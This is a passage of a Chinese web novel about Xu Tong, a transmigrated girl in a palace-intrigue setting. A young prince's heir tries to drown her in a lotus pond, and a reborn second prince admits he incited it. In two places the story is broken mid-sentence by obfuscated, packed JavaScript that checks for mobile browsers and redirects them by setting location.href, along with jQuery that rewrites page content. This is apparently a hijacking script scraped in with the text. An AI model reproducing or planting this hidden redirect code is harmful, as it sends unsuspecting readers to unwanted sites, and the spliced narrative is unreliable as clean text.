许曈觉得吧,流言或者说偏见这种东西,真的是危害巨大,比如说她吧,也不知是谁把她过去的事情传扬出去,以至于人尽皆知她是个傻子,即使如今变得“正常”了,大多数人也还都不信,总想要试探些什么,许曈是觉得不胜其烦的。 至于如今身边的晋王世子……也不知道外边都说他什么,也没人告诉过许曈,她横看竖看,也不明白傅容萱她们怎么就这么忌惮他……她横看竖看,晋王世子也不过就是个几岁大的小孩儿罢了,虽然胖了点吧,不过看起来也还算是憨态可掬,她觉得这晋王世子可能跟她一样,都是被流言偏见所苦。 这样一想,不由得便对他同情了几分。 出了正院的门,小胖子也没有松开抓着许曈手臂的手,径自拉着她向前,许曈一开始倒是担心过什么“男女授受不亲”的问题,不过关键是他俩年纪——身体的年龄的确是还太小,还不到男女大防的地步,何况都是亲戚,太刻意反而生分了,因此便也没执意让他松手。 她对晋王世子没什么防备,倒是对二皇子有几分戒备。 之前晋王世子拖着她出来,不知道说出于什么原因,自动请缨说出来看着他们——然而事实上他似乎并没有任何阻拦或者劝阻晋王世子的意思,许旻追着出来之后,他反而拦下了许旻,不让许旻离许曈与晋王世子太近。 晋王世子也算是个说话有分量的人,虽然太子命身边的内侍跟出来“保护”他们,可他说了不让人靠近,那些内侍便真的不敢离他们太近,当然他们也不可能离太远或者不跟着,于是那些人便成了一个扇形一般跟在他俩身后,至于许旻与二皇子,则是更落后一些。 晋王世子拉着许曈的手:“表姐听闻你们府上有个水池修得极好,你领我过去看一眼吧。” 许曈愣了愣,轻轻摇头:“我不知那水池在哪。” 晋王世子看了她一眼,似乎不信,许曈赧颜——虽然说只是许家,但是说实话她对许家的宅邸知之甚少,刚来的时候因为养病修养了好长时日,身子刚好些便每日早出晚归去闺塾,在府上的机会并不多,即使这几日不去闺塾,每日的路线也很单调,不过是在她的小院,老夫人的院落,许定杜沅的居处之间走动,旁的地方更是无暇去,再说了,当初她过来便是因为许晢推原主落水导致,宝香如今更是小心谨慎得很,连沐浴时时都要在一旁盯着、担心她会再次溺毙一般,许曈要是再敢靠近水池子——宝香怕是得吓死。 所以她真不知道府中的水池子到底在何处。 晋王世子盯了她半晌,见她不肯告诉他,嘴一撇,招呼道旁一个正低头行礼打算让他们一行先过去的仆从:“你给我带个路。” 那仆从看了晋王世子一眼,身子发抖,不过也不敢违抗,战战兢兢地落后一步,给他俩带路,身子抖成筛糠似的。 许曈不免又看了晋王世子一眼,看样子似乎是几乎所有人都听过晋王世子的“传说”,偏偏许曈不知道,又不好问,一时之间心中颇有些抓痒挠骚。 有人带路,果然不一会他们便到了地儿,许旻一见那池子便变了脸色,喊住许曈想让她离池子远一些,然而又被二皇子拦住不知道与他说些什么事,许旻耐着性子应答,眼睛却一直盯着许曈这边。 晋王世子拉着许曈盯着池面看了半天,也不知道他到底是想看什么。 看累了之后,他的视线便在水池与许曈之间来回,眉头越皱越紧,似乎遇到了什么难解的麻烦事。 早在许旻出声的时候,许曈便明白眼前的池子便是自己之前被许晢推下去的那一个,虽然没有那段记忆,不用许旻提醒,许曈也自觉想要远离身前的池子——奈何被晋王世子拖着,退不了分毫。 这池子的确景致不错,如今正值夏日,池中荷莲正好,田田莲叶之下,还有锦鲤出没。 池子中央是个凉亭,但是想去往凉亭那里需绕过池子的两边,说远不远,说近也不近,至少晋王世子似乎便不愿意多走,看到一旁有个小船,便想划船过去—— 太子派来的内侍自然是要劝阻的,行船似乎太不安稳,他们极力阻止晋王世子这突然兴起的念头,奈何他却铁了心一般,兴致来了,执意要行船。 那些内侍是来保护他们的,不是来干涉晋王世子行事的,最后迫于无奈之下,只好应允。 小船太小,许曈与晋王世子上去之后,余下的位置,只堪堪够一个人上去。 似乎也怕出意外,晋王世子问了一遍,选了一个会划船也懂水性的内侍跟着。 许旻有心阻止,二皇子却说他是忧心太过,问了晋王世子的目的地,得知是要往对面凉亭而去的,便劝说许旻走到对面凉亭那里等着。 他们说话的工夫,小船已经向前,许旻无奈,只好跟着二皇子沿着堤案往凉亭走去。 晋王世子却并不急着到凉亭那边,让跟来的内侍划到荷花边摘了朵荷花,便让小舟停在了池子中央。 晋王世子终于松开手,顺手将荷花递给许曈,许曈虽然不爱这花儿,不过觉得这小孩儿挺有趣的,又想着对方叫自己表姐,毕竟是亲戚不好做得太僵,便接过来。 低头盯着手中捧着的花儿,许曈觉得这可能是对方的示好,他们年纪小,又是亲戚,所以不可能是男女之情,想想傅容萱她们对他的戒备,想来这小孩大概没什么同龄的朋友,他可能就是想跟她交个朋友吧—— 许曈正想交下这个朋友,认下这个所谓的“表弟”,突然之间感觉有人重重推了自己一把,顿时感觉天旋地转,下一刻整个人身子直接栽到了水里。 “阿曈!” 许曈似乎听到了许旻的声音,挣扎着从水里冒出头来,看向岸上,许旻想要跳入池中,然而被留在二皇子身边的内侍给拦下了,许曈感觉自己身处一间非常空旷的房间之中,二皇子劝许旻不要下水以免出现意外的话变得无限悠远而绵长,还带着空谷的回音。 虽然是夏日,可是水中毕竟是凉的,许曈并不希望许旻下来救自己,她伸手抓住船沿,想要爬上去,一只手却压住了她的头,不让她上去。 是晋王世子。 划船的内侍已经吓得浑身发抖,不过见许曈想上来,他还是颤抖着伸出手,许曈的手还没递给他,他的手便被另一只手打开了,许曈看见晋王世子完全变了一个人一眼,朝着那内侍吼道:“我有允许你乱动吗?” 那内侍瑟缩着收回手,朝着许曈愧疚的一眼,尔后便老老实实呆坐在一旁,不敢乱动。 许曈又气又急,脑子反而冷静而清醒下来,在晋王世子手下努力抬起头:“是你推的我?” 这船上只有他们三人,那内侍离得稍远,落水那一刻许曈就知道那个方向只可能是晋王世子推的自己,只是之前她以为那只是个意外,如今看来,分明是故意的。 且是蓄谋已久的。 就算她是太子的表妹,她跟许旻兄妹是许家与太子血缘最接近的同辈,太子也不是非得见她,如今想想太子之前说的话,可以肯定的是,想见她的并不是太子,而是如今在船上笑得一脸恶劣的少年。 亏她之前还以为这个人是个纯良的孩子,却原来根本是个小恶魔!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142881|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 难怪其他人都一脸戒备,原来是早就知道他的性子,怕他伤害她! 可是许曈还是不明白,自己到底何时得罪了这个小祖宗,让他不惜置自己于死地? 根据晋王世子压着她的头都力气,他绝对不是玩玩而已,竟是下了狠劲。 许曈的头被按入水中,又挣扎着探出来,带着不解与气恼,盯着晋王世子的眼睛:“为什么?你到底想做什么?” 晋王世子稍稍松劲,不过还是按在许曈头上,他身子微微低下,与许曈视线齐平,声音平稳,仿佛不觉得他在做的事有什么不对:“我听说你以前是个傻子,又听说你落了水之后突然便好了,我有些好奇,就想看看是不是真有这么神奇,你们府中这莲花池我是看不出有什么奇怪的地方,所以奇怪的可能是你——我想知道你再落一次水的话,是不是就会变回去了。” 他的手又开始施力:“你放心吧,如果你又变成傻子,我会再让你下水一次变回来的。” 他年纪虽小,力气也不算大,可是“不算大”是相对而言的,至少对于如今的许曈而言,这样的力气也是她无法抗衡的,许曈的头一点一点被按压到水中,她想骂他却让水进入了口鼻之中,她被呛到想要咳嗽可是却是让更多的水进入,她连屏住了呼吸,胸腔之内却觉得好似被吹胀的气球要炸裂一般,难受得不行,她的耳朵已经听不到任何声音,整个世界也变得模糊而悠远,有那么一瞬间,许曈觉得自己就要死了。 世界在她眼前崩塌碎裂,她什么都看不清什么都看不见,许多碎片在她眼前闪烁,有几片碎片合拢拼凑出了一幅画面——那是一艘小船的边缘。 那是她能抓住的唯一浮木。 可是她爬不上去。 许曈两只手努力攀上了船沿,可是除了让船跟着晃动以外,她根本无处借力,无法上去。 船身的摇晃让晋王世子的手终于松开,许曈得以重见天日,她大口大口地呼吸,想要把缺失的氧气补回来,眼前支离破碎的画面里,却感觉有什么东西正向她招呼而来。 是船桨。 她很清楚,被这船桨打中,她一定会一命呜呼,许曈心一横,她绝对不能坐以待毙,她必须找地儿躲着…… 她想潜入水中,然而她的手不肯松开船沿,这一避让的结果,便是船身被她神奇地掀翻,睡着两声巨响以及晋王世子的咒骂,船上的两人也落入了水中。 许曈其实不会游泳,所以她始终不敢松开抓着船沿的手,如今船翻了,她也无从借力,身子顿时沉入水中,任她怎么挣扎,都无法再浮起来。 先前只是他落水,碍于晋王世子的威吓,其他人都不敢来救她,唯一想救她的人偏偏还被二皇子拦住了,如今晋王世子也落了水,那些人便不敢再隔岸观火,纷纷下了水朝他们的所在而来。 池水对于许曈的身量而言算是很深,却没不过成年人的身高,跟着落水的内侍很快稳住了身形,将晋王世子抓住不让他下沉。 他还想抓着许曈,却被晋王世子威胁着不敢动,生死之际,许曈只觉得无比讽刺——她居然被一个小孩儿给害到了这地步! 许曈以为自己必死无疑,身子突然被人从身后环抱着托起来,许曈回头,发现是许旻,他一脸的心有余悸,抱着许曈什么话都说不出来。 劫后余生,许曈感觉眼睛酸胀得难受,却又哭不出来,她不敢抓着许旻怕把两人都害死,只好问许旻:“哥哥你会水吗?” 许旻张了张嘴,突然想起了什么,然后许曈便感觉两人身子一重,眼看着便要双双没顶—— 20. 020 不对 在许曈以为自己必死无疑时,两人到底还是得救了。 是二皇子吩咐救的人。 在许家,就算死了个许曈也无关痛痒,毕竟是个不受宠的女儿,又传言脑子不太好,即使真出了什么事,想来他们也不会有什么愧疚的心思,可能还觉得自己是做了一件好事,帮许家解决了一个大麻烦。 但是再搭上一个许旻就不一样了。 他是许定嫡长子,许定这一房的继承人——虽然许定也没什么东西好继承的,可是看着许宁的面子上,也无人敢做得太过,那个尺度,就在于许旻。 三个小孩被救上岸,许曈惊魂未定,许旻也是,不过许旻比许曈更早回过神来,护着许曈便想离开这是非之地,至于礼数什么的,也无从顾及了。 再说了,今日之事,与那两个所谓的“贵人”关系可大了,许旻一贯关心许曈,而晋王世子与二皇子,一个是加害许曈之人,一个是拦着许旻不让他救人之人,许旻要是完全心无芥蒂,那就不是许旻了。 他们兄妹想走,二皇子却拦住他俩,见他眼睛盯着许曈,许旻心生不悦,将许曈拦在身后:“殿下还有何事?” 许旻语气非常不好,对于先前二皇子阻拦他之事,仍旧耿耿于怀得很。 二皇子本来只盯着许曈的,听罢终于看向许旻,眉头微微皱起:“不对,完全不一样了。” 什么不一样? 许曈稍稍回神,看着二皇子走近,听他命人拉开许旻,许曈不肯撒手,然而到底敌不过成年人的力道,他们兄妹被分开,许曈想要过去拉着许旻,二皇子突然凉凉地开口:“看你们兄妹情深,我也不好做恶人,我问你一些事,你老老实实回答了,我便放了你们。” 他语气平和,许曈却听出了一丝威胁的味道——她老老实实回答了,二皇子便放过他俩,可若是她不老实呢? 她自己如何她可以无所谓,可是事关许旻,她不能任性。 见她安分下来,二皇子命抓着她的内侍松开手退远,见许曈没有因为这样便跑开,似乎是觉得她“识时务”,二皇子难得地点了点头。 “听说许侯家三姑娘出生之时,有高人批命说其是许家的福星——说实话,我是不信这种神神道道的话的,”二皇子声音轻轻的:“后来发现这所谓的‘福星’,原来就是个傻子,更是验证了那只是无稽之谈——” 许曈睁大眼睛——她身上还有这种说法? 其实她一直觉得奇怪,原主那样的情况,还能活了那么些年,老夫人和许旻还关心她,她一直觉得是一件很莫名其妙的事情,可这些疑惑,就连许昤傅容萱也完全不了解,她本以为自己大概一辈子都找不到答案,如今听到二皇子这样说,感觉自己似乎抓住了什么。 可她还来不及多想,便听到二皇子继续道:“后来那所谓的‘福星’还早夭了,死得悄无声息的,也没什么人注意,许家本也没什么可关注的——” “我从来不信奇迹,什么脑袋突然开窍的说法,我是不信的——”二皇子靠得很近:“然而一个本来早就该死之人却还活着,两个本该彻底闹翻的家族如今还能相安无事,一个整天无所事事又叛逆、本该长成一个纨绔子弟之人突然拜了名师修身养性……就很奇怪了,我真的开始有些担心了……这许家的命运……是不是也要被改写?” “事情总不会是无缘无故的,如果一切的变数都从一个早就该死的人却没有死于她应该死去的命运开始,我不禁有些怀疑——”二皇子的气息就在她耳边,用只有他俩才听得到的声音问道:“你到底是不是许三?” 许曈瞪大了眼睛,不由自主地后退几步——二皇子的话真的太奇怪了,他口中那个“早就该死去却还活着的人”——指的是她吗? 而那个在她死后自暴自弃变成纨绔的人,指的是许旻吗? 许家的命运又是如何? 许曈有很多事情想问,可是最想问的却是——二皇子他是怎么知道这些的? “我不喜欢变数,如果有变数发生,便应该去修正它,”二皇子脚步再度逼近:“然而看样子,有人并不怎么认命啊。” 认命?认什么命?许曈突然醒悟过来:“是你!” 许曈愤愤不平:“是你教唆晋王世子害我的!” 想要她命的,原来是眼前之人。 “看来你也不算笨,我改变主意了,”二皇子退后一步:“既然他上辈子未能成事,意思就是说你死了,许家败亡也改变不了任何结果,索性放你活着,我倒想看看,你这个变数能带给我什么样的惊喜、到底能不能为我所用——” “他是谁?”许曈感觉不太对:“谁没能成事?” 二皇子顿了顿,不肯再多言。 许曈感觉自己似乎问的有点多,二皇子这人本来就有点毛病,眼下他好不容易决定“放过”自己,万一再问错了什么又惹得他杀心又起反而不美,回答他之前的问题:“我不是许三,我排行第九。” 二皇子嗤笑了一声:“我还以为真的有问题,原来还是个傻的。倒是我小题大做了。” 许曈心下稍安,其实她知道二皇子说的“许三”是她,毕竟许昤给她已经把家中的人物关系理清楚了,许侯家的许三,跟许家的许九,都是她,只是看是以什么基准作为排序而已,就算是平时,碧心她们也是喊的她“三姑娘”,她还不至于就把自己排序给搞混了,故意这么说,就是想麻痹一下二皇子,如今看来,一个小小的“失误”,至少是解脱了二皇子对她的怀疑——如此看来,在装傻的事业上,她已经越来越得心应手了。 她觉得二皇子的状态很不对。 他对于许曈的存在似乎很意外,言语之间,透露着他知道许曈若是死于之前许晢推她落水之后事情的另一个结果—— 能够知道这些,二皇子本人身份来历也一定不简单——她遇到过傅容萱和许昤这样的穿越者,难不成还遇到了一个重生的? 可是听二皇子华丽的意思,他似乎也并不是原来的二皇子——他说的“他未能成事”,那个“他”应该才是二皇子,那么,原来的二皇子到底想成的是什么事? 许曈感觉自己在面对着一团乱麻,好不容易找到了线头,然而把线头一根根抽出来之后,中间便成了死结,她很想快刀斩乱麻地问二皇子到底是谁,她想跟二皇子说也许事件的走向超出了他所知的原因可能不在于她而在于二皇子本人——可是她不敢。 形势比人强,这种皇权大过天的年代,她即使什么都没做,二皇子就想借刀杀人要了她的命好让事件回到“正轨”上来,可知这个人性格是有问题的,许曈不敢保证她若是质问他的话会不会惹恼了他让他再起杀心。 对于傅容萱许昤她是羞于相认,对于二皇子,她是根本不敢认。 她怕死,她也害怕二皇子口中的那一切,会成真。 在听闻自己有那么大的“背景”时,那一瞬间她便质疑了老夫人与许旻对自己的关心里是否掺杂了一些其他的东西,如果不是她的错觉的话,老夫人最近对她比以前又更好了些,大概是在许旻跟了褚先生以后——也许这 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许旻这么好的人,怎么能落得那样的结局呢。 虽然许曈觉得,仅仅因为她一个人,就能影响时局的念头,就让人觉得很羞耻很自以为是,可是说实话——她情愿相信二皇子的说辞。 仿佛唯有这样,才能感觉自己很重要,感觉自己有资格住在这个地方,感觉自己可以坦然跟老夫人等人相处——毕竟,这些证明了她的“价值”不是吗? 她敢说,即使她现在去跟老夫人说自己其实不是许曈也不会改变老夫人对她的态度,可是她不敢说—— 大人或许会考虑得更多,可是孩子不会—— 她不敢让许旻知道,自己其实并不是他的妹妹。 在她心里,许旻已经是她哥哥了,她不想将这个时代自己如今能拥有的唯一的温暖放掉,即使是偷来的亲情,她也想要握紧。 所以她一定不能让二皇子发现她不是原来的许曈,也不能让任何人有机会告诉许旻说她不是许曈。 之前还想着有朝一日跟傅容萱许昤相认,而今却是彻底断了这念头,不是不相信她们,只是知道的人越多,越容易露馅,如果她跟她俩说话的时候,被人不小心听去告诉许旻了呢。 她冒不起这个险。 将她的惊惧不安看在眼里,二皇子似乎是松了一口气,稍稍退后一些,细细打量了许曈一番,眉头皱起:“虽然许家的女子已经风头太过,但如果你真的是‘福星‘的话,我倒想看看,你能不能给我带来好运气。” 这什么意思?许曈被吓了一跳:“你在说什么?” “没什么,”二皇子似乎一脸的嫌弃,连连退后几步,懒得看她一般闭上眼睛:“听说你如今跟着程夫子——好好学。” 这突如其来莫名其妙的勉励到底是怎么回事,许曈感觉鸡越发不懂这二皇子到底是哪根脑筋抽了,不过他不再挡着自己,许曈自然也不愿意多跟着他周旋,那边许旻已经气得不行了,许曈也懒得理他了,连忙跑向许旻。 她跟许旻开口让抓着许旻的人松开手,那些人有些为难地看了二皇子一眼,二皇子终于发了善心一般让人松开手。 许旻护着许曈便想离开,二皇子却突然叫住了许旻。 “许十一,”他喊住许旻之后却又沉默了半晌,许久才道:“你好好跟着褚先生。” 许曈和许旻互看了一眼,都从对方眼里看到了嫌弃——这莫名其妙的长辈口吻到底是怎么回事,好不好关他什么事。 多管闲事。 21. 021 无赖 他们兄妹一心想走,然而被冷落了半天的晋王世子又跳出来,拦住许曈:“你害得小爷落水,不道歉便想走吗?” 明明是他有错在,如果不是他算计许曈,这一切根本不会发生,他非但不反省,反而如此理直气壮地拦下他们,仿佛害得他落水都是许曈的错。 跟他比起来,许晢瞬间就变小天使了。 只可惜许晢小天使现在不在这儿,眼前只有个小恶魔。 小恶魔恶狠狠地瞪着许曈,一副恨不得将她生吞活剥的样子,真是让人火大得很。 不过气归气,许曈还是觉得应该跟他讲道理——谁让他还喊她一声表姐呢。 更何况,他也只是被二皇子利用了。 他既然喊她一声表姐,她就不能眼睁睁看着他做错事,首先,是要跟她分析这事件的起因—— 听许曈跟他解释起是他一开始要坐船时,晋王世子没耐烦地摆手:“那说那么多是想推卸责任吗?小爷且问你,是不是你害得小爷落水的?” 许曈后知后觉的发现他连自称都变了,刚才为了麻痹她还一口一个“我”,如今撕破脸,就自称“小爷”啦? 许曈原本还想着,虽然他被二皇子利用,对她做了如此过分之事,可他毕竟也只是个孩子,还是可以原谅的——毕竟他还叫她一声“表姐”不是吗? 现在一看到他这副模样,就觉得这人果然是不可理喻。 说实话,许曈遇到过那么多小孩,眼前这个是最讨厌的,都是推她下水,可即使是许晢,做错了事也知道自己错了,会哭会害怕,而晋王世子——他根本不觉得自己有错! 可以预见的是,要是许曈没有把他一同拖下水,而是不反抗任由他害死自己——这人对于她的死也不会有一丝愧疚。 许旻虽然也生气,不过眼下有更重要的事情:“晋王世子这些事我们稍后再评判,现在最重要的事情是我们身上的衣物都湿透了,最好是赶紧回去换洗一番——” 晋王世子身边的内侍似乎也很赞同这话,连忙跟着劝。 “你们做错了事情便想跑?”晋王世子丝毫不领情,反而嫌弃那些内侍呱噪,回头继续看着许曈:“怎么,想毁尸灭迹?” 什么叫毁尸灭迹,他们又没做错什么,他凭什么穷追不舍,许曈脾气也上来了,既然也要算账,那么就算清楚好了:“刚才在船上时,是不是你在我背后猛推了我一下?” 晋王世子倒也坦荡:“是小爷推的又怎样?” 还“又怎样”?许曈气得肝疼:“如果不是你推我下水,这一切根本不会发生!” 甚至于如果不是他起意要坐船、他不非得要许曈陪他、乃至于他今天要是不跟着太子来许家,这所有的一切都不会发生。 所有一切都源头或许是因为二皇子起了杂念,可是若是晋王世子不上赶着顺杆爬,他也不至于会被二皇子利用,而二皇子之所以成功,还不就是因为晋王世子本来就是这么不可理喻的坏脾气,让二皇子顺利地抓住了他的兴趣点,借他的手害人。 而他不仅不知道反省,反而还反过头来怪许曈这个受害者?这还有没有天理了? 许旻看不下去:“晋王世子,明明是你推妹妹下水,我可是看得一清二楚,其他人也是可以作证的——” “谁看到了?”晋王世子不以为意,继续叫嚣:“有谁看到了?” 许旻看向跟着他们的内侍,结果那些人都低下头避开许旻的目光还退后了几步,好吧,想来的晋王世子积威甚厚,那些内侍不敢违抗他——许旻又把目光移向二皇子,结果二皇子事不关己一般:“先前我正与你闲叙,并没有及时看到那边的情形。” 晋王世子更是得意:“我还说是你们兄妹合谋起来要陷害小爷呢!” 许旻气得不行,许曈连忙拦下他:“哥哥我有些冷,我们先回去吧。” 仿佛要验证她的话一般,许曈适时的打了一个喷嚏。 许旻顿时没空理晋王世子与二皇子了。 许旻拉着许曈便要走,晋王世子命人拦下他俩,那些内侍一是惧于他的淫威,二是这事情晋王世子的确不占理,这里是许家,许旻兄妹好歹是许家的孩子,咋许家的地盘上对付主人,那些内侍多多少少有些理亏,何况他俩是许定的儿女,许定再不济,也是当今皇后的胞弟、太子的舅舅,得罪了哪边,最后吃罪的都是他们这样跟着晋王的人,因此只是虚张声势地做做样子,许旻很快便带着许曈突围了。 不过也并没有走开,他们刚走了几步,还没走出晋王世子的视线呢,一群人便跟着过来了,想来这边发生的事情终究还是惊动了大人。 首当其冲的,自然是太子殿下,老夫人稍稍退一步,许曈的三伯父许宏并其妻子贺夫人在老夫人身后,再后边则是许定夫妇。 还有许多跟来的人。 三个孩子的惨相对于他们似乎有十足的冲击力,许家一众人想问,碍于太子在场,也不好先开口,好在太子并不拖拉,很快将众人最关切的问题问出口:“怎么回事?” 许旻抿抿嘴——虽然太子是他俩的表哥,可是晋王世子是太子的堂弟,而且听闻两人自小一起长大授习,这宫中其他的手足如二皇子等人与太子关系有些疏落,他与晋王世子反而更亲厚——晋王世子能长成今日这无法无天的样子,想来与太子也有几分关系。 经历过之前二皇子避而不谈的教训,眼下许旻许曈对太子也有几分戒备,害怕太子也跟二皇子一般护短,表面看似两不想帮,其实心里早就偏了。 何况在他们犹豫的瞬间,晋王世子已经倒打一耙:“他们兄妹合谋将我推下水,意图谋害我!” 太子也不知道是信了还是没信,又询问了许旻与许曈一番。 许曈和许旻都不知道怎么说——虽然事实是晋王世子推许曈下水,可是这么直白的说出来,也不知道太子愿不愿意相信,何况晋王世子抢先了一步,如今他们任何的辩解都是无力得很。 然而什么都不说任由晋王世子污蔑,那也未免太无辜,许旻顿了顿道:“事实并不是晋王世子所说的那样。” 太子叹了口气,问起跟来的内侍。 那群人自然是支支吾吾,想来都怕晋王世子事后会再找他们麻烦,又不敢顺着晋王世子的话说谎,只好都说自己没看到,就连替许曈与晋王世子划船的内侍都说自己并不清楚事情到底是怎么发生的。 太子沉默了一瞬:“阿谦,你是跟着出来的,这一行人中你是兄长,你与我来说说。” 二皇子仍是同样的说辞:“事情发生时,我正与许十一闲叙,背对着阿谌他们,没看到实际的经过,不敢妄言,怕有失偏颇。” 这种时候,他不说话,就已经是明显有所偏向了,许曈心中恼极了,偏偏她不能戳穿说这一切都是这样完全一副局外人样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142883|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的二皇子所为—— 即使她知道就是二皇子撺掇的晋王世子,可是她没正经,即使问晋王世子,以他那种被人卖了还帮忙数钱的脑子,也不会明白自己是被人利用了。 她甚至连询问晋王世子是不是被二皇子蛊惑都做不了——如今事态未明,她要是这样问了,只怕要被人认为是挑拨离间,而二皇子毕竟是皇子,她万一说了什么,只怕会被有心人利用大做文章。 他们才是兄弟,手足至亲,许旻许曈只是表亲而已,表亲自然也就是所谓的“外戚”,虽是亲戚,必要的时候,也只是外人而已。 他们与太子相处不多,不敢赌。 太子似乎很无奈,转向老夫人:“阿谌一贯顽劣得很,扰了外祖母的寿辰,询实在是愧疚得很。” “殿下言重了,”老夫人也很无奈,却只能道:“也许只是小孩子之间的打闹罢了。” 眼下事情还未清楚,老夫人也不敢妄言,只好打圆场:“好在没出什么事——” 许曈发誓,她知道眼下的情形对她很不友好,她应该安安静静的不说话任由大人们与太子商量好了如何处置他们,可是鼻子实在是痒得难受,不由自主地连打了三个喷嚏。 然后她就看到所有人的目光都集中在了她身上。 许曈感觉自己的脚都无处安放了。 她知道自己此刻的举止,算得上是非常的失仪——她都能听到身旁的二皇子十分轻微的、但是又带着很明显嫌弃的叹气声了——不过,关他什么事!他又不是她什么人,她亲生的哥哥许旻都没说什么呢,哪里轮得到一个没有血缘关系的所谓“表哥”来多管闲事? 她正牌的、有血缘关系的表哥——太子都没这么过分,听到她打喷嚏也没有什么不快的神情,反而是关切道:“他们身上都湿透了,这样下去是会着凉的,还是先让他们去换一身衣物吧,有什么事,也要等那之后再说。”虽然他关心的可能是他的亲堂弟。 老夫人也赞同,刚想开口,晋王世子却十分不爽,他盯着许曈神情鄙夷:“你居然用装病这一招——” 他说着便向太子道:“太子哥哥我有些不舒服,只怕是着了凉,我们回宫去寻太医替我诊治诊治吧。” 许曈心中唾弃——他才是在装病好么!她在水下的时间最久,又被他按着喝了好几口池水,谁知道那水是不是干净的,万一她要是感染了什么病菌,这时代只怕没抗生素,她一个不小心只怕就因为那几口水交代了性命好么! 太子虽然不太信不过还是伸出手探了探他额头,随即收回手:“你也先去更衣,回头我再审你。” 既然得了准话,想来这次要走不会再有人拦着了,许旻总算是松了口气,不过还是先紧着许曈:“我先送妹妹回去——” 许曈住的小院十分偏远,走过去也要花一点工夫,许曈怕许旻也受了寒,连忙道:“哥哥你也先回去吧,我一个人回去便是了。” “不行,”许旻看了晋王世子一眼:“我不放心你一个人回去。” “哪里就一个人了……”许曈找了找,想找自己身边的丫鬟,结果一个都没看到,最后只能道:“放心吧,不会有事的。” “阿曈,”一直沉默着没说话的杜沅突然开口,跟太子行了礼道了抱歉之后,才转向许曈:“你跟我来。” “十一你先回自己住处吧,”杜沅面色平静:“让阿曈去我那儿。” 22. 022 父母 许曈住的小院,在许家二房最偏远的角落,离花园离水池很远,说实话许曈至今也想不明白许晢当初是怎么把以前的许曈带到那地方的。 许家二房由老夫人的长子、许定的兄长许宏承继,然而许定夫妇并没有就此被“发配边疆”,他们居住的院落,虽然不是正院,但是算不上偏远,离老夫人如今的居处挺近的。 许曈是第一次踏进她这身体的“父母”的领地。 虽然老夫人要求杜沅照管许曈,然而杜沅和许曈一个心有芥蒂,一个心中有鬼,说实话其实没怎么相处过。 虽然面上平和,可是今日之前,杜沅一直没去过许曈如今的居处,许曈也没来过杜沅的地方,她们倒也算是心照不宣,不约而同的把相处的时间地点都放在了老夫人房内、每日许曈出门去闺塾前向老夫人辞行的时刻。 初次踏入杜沅的地盘,说实话,许曈心中忐忑得很。 听闻杜家十分重规矩,而许曈今日所为,委实算不上一个“淑女”该有的行为。 何况似乎还惹了不能惹的人。 许曈低眉敛目跟着杜沅身后,大气都不敢出。 杜沅一路上也没有跟许曈说话的意思,事实上,除了一开始吩咐人回去准备热水以外,她一直都是一言不发。 她不出声,许曈更不敢造次,只默默跟着她。 到了地儿,许曈也不敢抬头打量周围的摆设,先行一步的丫鬟已经吩咐过了,她们回来的时候,一切都已经准备好了,杜沅便带着许曈到了浴间。 除了杜沅许曈以外,里边还很多丫鬟,可是除却许曈自己身边的宝香——虽然平日在老夫人那里见过,可是杜沅身边的丫鬟,许曈一个都不认识。 宝香听说她出了事,便也跟着过来候着。 洗个澡换身衣服而已,许曈不想这么多人围观,想只留下宝香,可是又不敢跟杜沅开口。 正左右为难间,杜沅已经开了口:“云棠,你替她更衣。” 唤云棠的丫鬟应了一声,近到许曈身前,神情略有些尴尬与生疏:“九小姐,奴婢替您褪了身上的湿衣,否则会着凉的。” 许曈很想拒绝,然后偷偷瞥了一眼杜沅,不敢反抗,只好任由芸棠解了她身上其实已经半干的衣物。 虽然都是女的,这样袒露着也让人觉得不安得很,许曈正打算顾不得那么多直接躲到水中,杜沅却突然过来,指了指她肩后:“这怎么回事?” 许曈努力转过头去看她所指的地方,头都快断了才看到是一片擦伤。可是想想又想不起到底是什么时候受的伤,只好摇头。 杜沅叹了口气,许是看出许曈不大自在,让其他人退下,除了她们俩之外,只留下芸棠与宝香。 让宝香替许曈擦洗身子头发,杜沅却起身出去了,许曈稍稍松口气,让芸棠与宝香快一些——外边还有人等着跟她“对簿公堂”呢。 拭干了身子,刚想换上宝香带过来的衣物,杜沅又回来了,手里拿着药膏让宝香给许曈涂上,换上衣物的时候,许曈感觉杜沅看了那衣物好一会,眉头紧皱,不过幸好没说什么。 将头发擦干,杜沅在一旁吩咐芸棠帮许曈梳好头发,杜沅这才执起许曈的手往正院那边走去,让跟着的人稍稍落后一些,杜沅看了看许曈:“你很怕我?” 她突然跟她直接对话,让许曈吃了一惊,差点崴了脚,许曈想了想,自己的确挺怕杜沅的,但并不是因为杜沅对她冷淡,而是因为她知道自己不是原来的许曈,不是杜沅亲生的女儿,心中有鬼所以才会惴惴不安。 她怕杜沅会发现她其实不是原来的许曈,她害怕二皇子口中语焉不详的事情会成真。 杜沅与许定的婚姻岌岌可危,勉强靠着许旻与许曈的存在维系,而许旻夹杂在他俩之间已经是强弩之末,许曈这边一断,许旻那里就无力回天了。 她迟疑了很久,终究还是不敢说实话,只好小声说了句:“没有。”其实不是“没有”,而是“不敢有”,只是“不敢”二字说出来终究有些引人遐思,许曈万万不敢让杜沅起了疑心。 然而杜沅似乎听出了她的未尽之意,长叹了一声,又问起许曈与晋王世子之前的事情:“之前你们到底发生了什么?” 